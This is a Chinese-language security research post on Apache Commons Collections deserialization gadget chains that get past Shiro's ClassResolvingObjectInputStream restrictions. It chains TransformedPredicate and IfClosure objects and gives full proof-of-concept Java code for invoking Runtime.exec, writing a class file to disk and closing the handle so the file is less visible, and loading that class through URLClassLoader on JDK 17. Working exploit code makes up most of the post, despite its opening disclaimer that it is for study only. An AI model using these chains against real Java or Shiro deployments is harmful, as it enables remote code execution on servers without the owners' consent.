本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。

Closure和Predicate

CC反序列化常见的打法有两种:

  1. 通过ChainedTransformer链式调用Runtimeexec方法。
  2. 直接调用TemplatesImpl加载字节码,这样不需要链式调用

ClosureTransformer类可以调用Closure,其transform方法代码如下:

public Object transform(Object input) {
    iClosure.execute(input);
    return input;
}

可以调用任意Closure类的execute方法。

IfClosure类的execute方法代码如下:

public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}

会调用任意Predicate类的evaluate方法,且参数可控。

TransformedPredicatePredicate接口的一个实现类,其evaluate方法可以链式调用:

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    return iPredicate.evaluate(result);
}

当前iTransformertransform方法执行后会将结果作为参数传递给下一个Predicate。将多个TransformedPredicate串起来即可实现链式调用,可以替代ChainedTransformer

命令执行

在Shiro反序列化漏洞中,由于使用特殊的ClassResolvingObjectInputStream类来加载类,会有一些限制:如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。

常见的绕过方式为:

  1. InvokerTransformer直接调用TemplatesImplnewTransformer方法,不使用Transformer数组,jdk高版本不能使用。
  2. 使用RMI二次反序列化,需要出网。

但使用Predicate不会受到数组限制,因为Predicate是通过一个个引用实现链式调用的。

执行Runtime#exec的POC:

Predicate predicate4 = new TransformedPredicate(
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        null
);

Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        predicate4
);

Predicate predicate2 = new TransformedPredicate(
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        predicate3
);

Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(Runtime.class),
        predicate2
);

final Closure closure = new IfClosure(predicate1, null, null);
final Transformer transformer = new ClosureTransformer(closure);

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");

HashMap innimpl = (HashMap) getFieldValue(map, "map");
if (innimpl == null){
    innimpl = (HashMap) getFieldValue(map, "backingMap");
}

Object[] array = (Object[]) getFieldValue(innimpl, "table");
if (array == null){
    array = (Object[]) getFieldValue(innimpl, "elementData");
}

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = null;
try{
    keyField = node.getClass().getDeclaredField("key");
} catch(Exception e) {
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

System.out.println(ser(map));

高版本加载字节码

JDK 17.0.10

CC 3.2.1

对于低版本来说,直接用InstantiateTransformerTrAXFilter触发TemplatesImplnewTransformer方法即可,但对于jdk17+来说,用TemplatesImpl会受到module限制,而默认js引擎已经被移除了,但还可以用URLClassLoader,不过会有文件落地或者网络连接。

FileOutputStream fileOutputStream = new FileOutputStream("/uploadpath/Test.class");
fileOutputStream.write(new byte[]{1,2,3});

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///uploadpath/")});
Class calc = urlClassLoader.loadClass("Test");
calc.newInstance();

写文件

POC:

Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);

Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
        null
);

Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
        predicate3
);

Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(FileOutputStream.class),
        predicate2
);

上面的POC没有执行close方法,虽然后续可以正常加载字节码,但在windows系统上没办法删除,在Linux上也留着fd,不够隐蔽。

如果要执行close方法的话执行流程就不是纯线性的了,不过好在IfClosure支持对同一个对象执行多条分支Closure

public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}

可以先通过InstantiateTransformer获得一个FileOutputStream对象赋值为input变量,然后进入IfClosure通过TransformedPredicateevaluate执行write方法,最后进入else分支通过iFalseClosure执行close方法。流程图如下:

1

if表达式里的iPredicate对应predicate_main

POC:

Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);

Predicate predicate_main = new TransformedPredicate(
        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
        FalsePredicate.getInstance()
);

Closure branch_false_closure = new IfClosure(
        new TransformedPredicate(
                new InvokerTransformer("close", new Class[]{}, new Object[]{}), null
        ), null, null
);

Predicate predicate3 = new TransformedPredicate(
        new ClosureTransformer(new IfClosure(predicate_main, null, branch_false_closure)),
        FalsePredicate.getInstance()
);

Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
        predicate3
);

Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(FileOutputStream.class),
        predicate2
);

本来想试试用FileOutputStream指定append参数为true,这样可以文件追加,但解析boolean类时会进入Shiro的ClassResolvingObjectInputStream类自定义的resolveClass方法,用的是ClassUtils#forName方法。

2

然后会报错找不到这个类,跟上面说的无法解析非Java数组应该是类似的原因。

3

而原生的resolveClass方法代码有一个专门的map存放这些类:

4

所以int.classboolean.class等都不能反序列化,这种情况下就没办法追加写入了。

加载类

Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);

Predicate predicate4 = new TransformedPredicate(
        new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
        null
);

Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Test"}),
        predicate4
);

Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{URL[].class}, new Object[]{new URL[]{new URL("file:///uploadpath/")}}),
        predicate3
);

Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(URLClassLoader.class),
        predicate2
);

通过不同的Closure配合可以执行复杂的操作,但这个方法有一个缺点,那就是参数不能变InvokeTransformerInstantiateTransformer中的iArgs都是提前设置的,所以像defineClass这种需要把ClassLoader对象作为参数的方法就不能执行了。